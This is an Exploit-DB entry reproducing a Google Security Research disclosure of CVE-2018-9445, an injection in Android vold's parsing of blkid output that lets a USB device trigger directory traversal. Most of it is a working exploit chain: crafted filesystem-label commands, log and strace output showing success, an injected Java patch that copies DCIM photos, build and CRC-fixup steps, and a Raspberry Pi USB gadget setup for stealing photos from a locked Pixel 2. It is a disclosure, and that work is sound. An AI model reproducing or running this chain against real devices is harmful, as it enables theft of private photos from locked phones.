Android - Directory Traversal over USB via Injection in blkid Output

EDB-ID: 45192
Author: Google Security Research
Published: 2018-08-13
CVE: CVE-2018-9445
Type: Local
Platform: Android
Aliases: N/A
Advisory/Source: Link
Tags: Local, Traversal
Vulnerable App: N/A

 phone is locked!), vold will attempt to automatically mount partitions from the 
inserted device. For this purpose, vold has to identify the partitions on the
connected device and collect some information about them, which is done in
readMetadata() in system/vold/Utils.cpp. This function calls out to "blkid",
then attempts to parse the results:


std::vector<std::string> cmd;
cmd.push_back(kBlkidPath);
cmd.push_back("-c");
cmd.push_back("/dev/null");
cmd.push_back("-s");
cmd.push_back("TYPE");
cmd.push_back("-s");
cmd.push_back("UUID");
cmd.push_back("-s");
cmd.push_back("LABEL");
cmd.push_back(path);

std::vector<std::string> output;
status_t res = ForkExecvp(cmd, output, untrusted ? sBlkidUntrustedContext : sBlkidContext);
if (res != OK) {
LOG(WARNING) << "blkid failed to identify " << path;
return res;
}

char value[128];
for (const auto& line : output) {
// Extract values from blkid output, if defined
const char* cline = line.c_str();
const char* start = strstr(cline, "TYPE=");
if (start != nullptr && sscanf(start + 5, "\"%127[^\"]\"", value) == 1) {
fsType = value;
}

start = strstr(cline, "UUID=");
if (start != nullptr && sscanf(start + 5, "\"%127[^\"]\"", value) == 1) {
fsUuid = value;
}

start = strstr(cline, "LABEL=");
if (start != nullptr && sscanf(start + 6, "\"%127[^\"]\"", value) == 1) {
fsLabel = value;
}
}


Normally, the UUID string can't contain any special characters because blkid
generates it by reformatting a binary ID as a printable UUID string. However,
the version of blkid that Android is using will print the LABEL first, without
escaping the characters this code scans for, allowing an attacker to place
special characters in the fsUuid variable.


For example, if you format a USB stick with a single partition, then place a
romfs filesystem in the partition as follows (on the terminal of a Linux PC):

# echo '-rom1fs-########TYPE="vfat" UUID="../../data"' > /dev/sdc1

and then connect the USB stick to a Nexus 5X and run blkid as root on the
device, you'll see the injection:

bullhead:/ # blkid -c /dev/null -s TYPE -s UUID -s LABEL /dev/block/sda1
/dev/block/sda1: LABEL="TYPE="vfat" UUID="../../data"" TYPE="romfs"


logcat shows that the injection was successful and the device is indeed using
the injected values, but vold doesn't end up doing much with the fake UUID
because fsck_msdos fails:

05-29 20:41:26.262 391 398 V vold : /dev/block/vold/public:8,1: LABEL="TYPE="vfat" UUID="../../data"" TYPE="romfs"
05-29 20:41:26.262 391 398 V vold :
05-29 20:41:26.263 391 398 V vold : /system/bin/fsck_msdos
05-29 20:41:26.263 391 398 V vold : -p
05-29 20:41:26.263 391 398 V vold : -f
05-29 20:41:26.263 391 398 V vold : /dev/block/vold/public:8,1
05-29 20:41:26.264 813 2039 D VoldConnector: RCV <- {652 public:8,1 vfat}
05-29 20:41:26.264 813 2039 D VoldConnector: RCV <- {653 public:8,1 ../../data}
05-29 20:41:26.265 813 2039 D VoldConnector: RCV <- {654 public:8,1 TYPE=}
05-29 20:41:26.281 391 398 I fsck_msdos: ** /dev/block/vold/public:8,1
05-29 20:41:26.285 391 398 I fsck_msdos: Invalid sector size: 8995
05-29 20:41:26.286 391 398 I fsck_msdos: fsck_msdos terminated by exit(8)
05-29 20:41:26.286 391 398 E Vold : Filesystem check failed (no filesystem)
05-29 20:41:26.286 391 398 E vold : public:8,1 failed filesystem check
05-29 20:41:26.286 813 2039 D VoldConnector: RCV <- {651 public:8,1 6}
05-29 20:41:26.287 813 2039 D VoldConnector: RCV <- {400 48 Command failed}
05-29 20:41:26.288 2532 2532 D StorageNotification: Notifying about public volume: VolumeInfo{public:8,1}:
05-29 20:41:26.288 2532 2532 D StorageNotification: type=PUBLIC diskId=disk:8,0 partGuid=null mountFlags=0 mountUserId=0
05-29 20:41:26.288 2532 2532 D StorageNotification: state=UNMOUNTABLE
05-29 20:41:26.288 2532 2532 D StorageNotification: fsType=vfat fsUuid=../../data fsLabel=TYPE=
05-29 20:41:26.288 2532 2532 D StorageNotification: path=null internalPath=null


For a relatively harmless example in which vold actually ends up mounting the
device in the wrong place, you can create a vfat partition with label
'UUID="../##':

# mkfs.vfat -n 'PLACEHOLDER' /dev/sdc1
mkfs.fat 4.1 (2017-01-24)
# dd if=/dev/sdc1 bs=1M count=200 | sed 's|PLACEHOLDER|UUID="../##|g' | dd of=/dev/sdc1 bs=1M
200+0 records in
200+0 records out
209715200 bytes (210 MB, 200 MiB) copied, 1.28705 s, 163 MB/s
198+279 records in
198+279 records out
209715200 bytes (210 MB, 200 MiB) copied, 2.60181 s, 80.6 MB/s

Connect it to the Android device again while running strace against vold:

[pid 398] newfstatat(AT_FDCWD, "/mnt/media_rw/../##", 0x7d935fe708, AT_SYMLINK_NOFOLLOW) = -1 ENOENT (No such file or directory)
[pid 398] mkdirat(AT_FDCWD, "/mnt/media_rw/../##", 0700) = 0
[pid 398] fchmodat(AT_FDCWD, "/mnt/media_rw/../##", 0700) = 0
[pid 398] fchownat(AT_FDCWD, "/mnt/media_rw/../##", 0, 0, 0) = 0
[pid 398] mount("/dev/block/vold/public:8,1", "/mnt/media_rw/../##", "vfat", MS_NOSUID|MS_NODEV|MS_NOEXEC|MS_DIRSYNC|MS_NOATIME, "utf8,uid=1023,gid=1023,fmask=7,d"...) = 0
[pid 398] faccessat(AT_FDCWD, "/mnt/media_rw/../##/LOST.DIR", F_OK) = -1 ENOENT (No such file or directory)
[pid 398] mkdirat(AT_FDCWD, "/mnt/media_rw/../##/LOST.DIR", 0755) = 0

Check the results:

bullhead:/ # ls -l /mnt
total 32
drwxrwx--- 3 media_rw media_rw 32768 2018-05-29 20:54 ##
drwx--x--x 2 root root 40 1970-01-01 04:14 appfuse
drwxr-xr-x 2 root system 40 1970-01-01 04:14 asec
drwxrwx--x 2 system system 40 1970-01-01 04:14 expand
drwxr-x--- 2 root media_rw 40 1970-01-01 04:14 media_rw
drwxr-xr-x 2 root system 40 1970-01-01 04:14 obb
drwx------ 5 root root 100 1970-01-01 04:14 runtime
lrwxrwxrwx 1 root root 21 1970-01-01 04:14 sdcard -> /storage/self/primary
drwx------ 3 root root 60 1970-01-01 04:14 secure
drwxr-xr-x 3 root root 60 1970-01-01 04:14 user
bullhead:/ # mount | grep '##'
/dev/block/vold/public:8,1 on /mnt/## type vfat (rw,dirsync,nosuid,nodev,noexec,noatime,uid=1023,gid=1023,fmask=0007,dmask=0007,allow_utime=0020,codepage=437,iocharset=iso8859-1,shortname=mixed,utf8,errors=remount-ro)


When testing with a normal USB stick, the attacker has to choose between using a
vfat filesystem (so that Android is capable of mounting it as external storage)
and using a romfs filesystem (so that the label is long enough to specify
arbitrary paths). However, an attacker who wants to perform more harmful attacks
could use a malicious USB storage device that is capable of delivering different
data for multiple reads from the same location. This way, it would be possible
to deliver a romfs superblock when blkfs is reading, but deliver a vfat
superblock when the kernel is reading. I haven't tested this yet because I don't
yet have the necessary hardware.


When you fix this issue, please don't just fix the injection and/or the
directory traversal. I believe that from a security perspective, a smartphone
should not mount storage devices that are inserted while the screen is locked
(or, more generally, communication with new USB devices should be limited while
the screen is locked). Mounting a USB storage device exposes a lot of code to
the connected device, including partition table parsing, vold logic, blkid, the
kernel's FAT filesystem implementation, and anything on the device that might
decide to read files from the connected storage device.


############################################################

This is a PoC for stealing photos from the DCIM folder of a Pixel 2 running
build OPM2.171026.006.C1 while the device is locked. You will need a Pixel 2 as
victim device, a corresponding AOSP build tree, a Raspberry Pi Zero W (or some
other device you can use for device mode USB), a powered USB hub, and some
cables.

The victim phone must be powered on, the disk encryption keys must be unlocked
(meaning that you must have entered your PIN/passphrase at least once since
boot), and the attack probably won't work if someone has recently (since the
last reboot) inserted a USB stick into the phone.


Configure the Raspberry Pi Zero W such that it is usable for gadget mode
(see e.g. https://gist.github.com/gbaman/50b6cca61dd1c3f88f41).

Apply the following patch to frameworks/base in your AOSP build tree:

=========================================
diff --git a/packages/ExternalStorageProvider./src/com/android/externalstorage/MountReceiver.java b/packages/ExternalStorageProvider/src/com/android/externalstorage/MountReceiver.java
index 8a6c7d68525..73be5818da1 100644
--- a/packages/ExternalStorageProvider/src/com/android/externalstorage/MountReceiver.java
+++ b/packages/ExternalStorageProvider/src/com/android/externalstorage/MountReceiver.java
@@ -20,10 +20,38 @@ import android.content.BroadcastReceiver;
import android.content.ContentProviderClient;
import android.content.Context;
import android.content.Intent;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;

public class MountReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
+ System.logE("MOUNTRECEIVER CODE INJECTED, GRABBING FILES...");
+ try {
+ File exfiltration_dir = new File("/data/exfiltrated-photos");
+ exfiltration_dir.mkdir();
+ File camera_dir = new File("/storage/emulated/0/DCIM/Camera");
+ File[] camera_files = camera_dir.listFiles();
+ for (File camera_file: camera_files) {
+ System.logE("GRABBING '"+camera_file.getName()+"'");
+ File exfiltrated_file = new File(exfiltration_dir, camera_file.getName());
+ exfiltrated_file.delete();
+ FileInputStream ins = new FileInputStream(camera_file);
+ FileOutputStream outs = new FileOutputStream(exfiltrated_file);
+ byte[] buf = new byte[4096];
+ int len;
+ while ((len=ins.read(buf)) > 0) {
+ outs.write(buf, 0, len);
+ }
+ ins.close();
+ outs.close();
+ }
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ System.logE("INJECTED CODE DONE");
+
final ContentProviderClient client = context.getContentResolver()
.acquireContentProviderClient(ExternalStorageProvider.AUTHORITY);
try {
=========================================

Then build the tree ("lunch aosp_walleye-userdebug", then build with "make").

Zip the classes.dex build artifact of ExternalStorageProvider:

$ zip -jX zipped_dexfile ~/aosp-walleye/out/target/common/obj/APPS/ExternalStorageProvider_intermediates/classes.dex
adding: classes.dex (deflated 49%)
$ mv zipped_dexfile.zip zipped_dexfile

Download the factory image for OPM2.171026.006.C1 and unpack its system partition, e.g. using commands roughly as follows:

$ unzip image-walleye-opm2.171026.006.c1.zip
$ ~/aosp-walleye/out/host/linux-x86/bin/simg2img system.img system.img.raw # convert sparse image to normal
$ echo 'rdump / walleye-opm2.171026.006.c1/unpacked_system/' | debugfs -f- walleye-opm2.171026.006.c1/unpacked_image/system.img.raw 2>/dev/null # extract filesystem image

Now build the classes.dex build artifact into an odex file and a vdex file, linking against boot.art from the factory image:

$ ~/aosp-walleye/out/host/linux-x86/bin/dex2oat --runtime-arg -Xms64m --runtime-arg -Xmx512m --class-loader-context='&' --boot-image=/home/user/google_walleye/walleye-opm2.171026.006.c1/unpacked_system/system/framework/boot.art --dex-file=zipped_dexfile --dex-location=/system/priv-app/ExternalStorageProvider/ExternalStorageProvider.apk --oat-file=package.odex --android-root=/home/user/google_walleye/walleye-opm2.171026.006.c1/unpacked_system/system --instruction-set=arm64 --instruction-set-variant=cortex-a73 --instruction-set-features=default --runtime-arg -Xnorelocate --compile-pic --no-generate-debug-info --generate-build-id --abort-on-hard-verifier-error --force-determinism --no-inline-from=core-oj.jar --compiler-filter=quicken

The resulting vdex file would not be accepted by the phone because of a CRC32
checksum mismatch; to fix it up, compile the attached vdex_crc32_fixup.c and use
it to overwrite the CRC32 checksum with the expected one from the factory image:

$ ./vdex_crc32_fixup package.vdex ~/google_walleye/walleye-opm2.171026.006.c1/unpacked_system/system/priv-app/ExternalStorageProvider/ExternalStorageProvider.apk
original crc32: d0473780
new crc32: 84c10ae9
vdex patched

Prepare two disk images, each with a MBR partition table and a single partition.
Their partition tables should be identical.
In the first image's partition, place a fake romfs filesystem that triggers the
vold bug:

# echo -e '-rom1fs-########TYPE="vfat" UUID="../../data"\0' > /dev/sdd1

Format the second image's partition with FAT32, and create the following
directory structure inside that filesystem (the "[email protected]" entries are files, the
rest are directories):

├── dalvik-cache
│ └── arm64
│ ├── [email protected]@boot.art
│ ├── [email protected]@[email protected]@classes.dex
│ └── [email protected]@[email protected]@classes.vdex
├── LOST.DIR
├── misc
│ └── profiles
│ └── cur
│ └── 0
│ └── com.android.externalstorage
├── user
│ └── 0
│ └── com.android.externalstorage
│ └── cache
└── user_de
└── 0
└── com.android.externalstorage
└── code_cache

The three [email protected] files should have the following contents:

- [email protected]@boot.art should be a copy of system/framework/arm64/boot.art
from the system image.
- [email protected]@[email protected]@classes.dex
should be the generated package.odex.
- [email protected]@[email protected]@classes.vdex
should be the fixed-up package.vdex.

Copy the two disk images to the Raspberry Pi Zero W; the fake romfs image should
be named "disk_image_blkid", the image with FAT32 should be named
"disk_image_mount". On the Pi, build the fuse_intercept helper:

$ gcc -Wall fuse_intercept.c `pkg-config fuse --cflags --libs` -o fuse_intercept

Then create a directory "mount" and launch fuse_intercept.

In a second terminal, tell the Pi's kernel to present the contents of the mount
point as a mass storage device:

[email protected]:~ $ sudo modprobe dwc2
[email protected]:~ $ sudo modprobe g_mass_storage file=/home/pi/mount/wrapped_image stall=0


To run the attack, connect the Pi to the powered USB hub as a device. Then use
a USB-C OTG adapter (unless you have some fancy USB-C hub, I guess?) to connect
the powered hub to the locked phone, with the phone in USB host mode.

At this point, the phone should first mount the USB stick over
/data, then immediately afterwards launch
com.android.externalstorage/.MountReceiver:

06-05 21:58:20.988 656 665 I Vold : Filesystem check completed OK
06-05 21:58:20.988 1115 1235 D VoldConnector: RCV <- {656 public:8,97 /mnt/media_rw/../../data}
06-05 21:58:20.990 1115 1235 D VoldConnector: RCV <- {655 public:8,97 /mnt/media_rw/../../data}
06-05 21:58:21.004 1115 1235 D VoldConnector: RCV <- {651 public:8,97 2}
06-05 21:58:21.004 1115 1115 W android.fg: type=1400 audit(0.0:33): avc: denied { write } for name="/" dev="sdg1" ino=1 scontext=u:r:system_server:s0 tcontext=u:object_r:vfat:s0 tclass=dir permissive=0
06-05 21:58:21.006 1115 1235 D VoldConnector: RCV <- {200 7 Command succeeded}
06-05 21:58:21.004 1115 1115 W android.fg: type=1400 audit(0.0:34): avc: denied { write } for name="/" dev="sdg1" ino=1 scontext=u:r:system_server:s0 tcontext=u:object_r:vfat:s0 tclass=dir permissive=0
06-05 21:58:21.008 1335 1335 D StorageNotification: Notifying about public volume: VolumeInfo{public:8,97}:
06-05 21:58:21.008 1335 1335 D StorageNotification: type=PUBLIC diskId=disk:8,96 partGuid=null mountFlags=0 mountUserId=0
06-05 21:58:21.008 1335 1335 D StorageNotification: state=MOUNTED
06-05 21:58:21.008 1335 1335 D StorageNotification: fsType=vfat fsUuid=../../data fsLabel=TYPE=
06-05 21:58:21.008 1335 1335 D StorageNotification: path=/mnt/media_rw/../../data internalPath=/mnt/media_rw/../../data
06-05 21:58:21.020 1115 1129 I ActivityManager: Start proc 4478:com.android.externalstorage/u0a35 for broadcast com.android.externalstorage/.MountReceiver

Most processes can't access the vfat filesystem that is now mounted at /data
either because they lack the necessary groups or because of some SELinux rule.
But com.android.externalstorage passes both checks and can read and write (but
not execute) files from the new /data. Bytecode is loaded from
/data/dalvik-cache/arm64/[email protected]@[email protected]@classes.vdex
and then interpreted, allowing the attacker to steal photos from the device
(since com.android.externalstorage has access to /storage/emulated/0):

06-05 21:58:21.248 4478 4478 I zygote64: The ClassLoaderContext is a special shared library.
06-05 21:58:21.276 4478 4478 W zygote64: JIT profile information will not be recorded: profile file does not exits.
06-05 21:58:21.278 4478 4478 W asset : failed to open idmap file /data/resource-cache/[email protected]@[email protected]@idmap
06-05 21:58:21.326 4478 4478 D ExternalStorage: After updating volumes, found 3 active roots
06-05 21:58:21.334 4478 4478 E System : MOUNTRECEIVER CODE INJECTED, GRABBING FILES...
06-05 21:58:21.343 4478 4478 E System : GRABBING 'IMG_20180605_212044.jpg'
06-05 21:58:21.419 4478 4478 E System : GRABBING 'IMG_20180605_215031.jpg'
06-05 21:58:21.428 2218 2218 W SQLiteLog: (28) file renamed while open: /data/user/0/com.google.android.gms/databases/config.db
06-05 21:58:21.465 4478 4478 E System : INJECTED CODE DONE


Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/45192.zip

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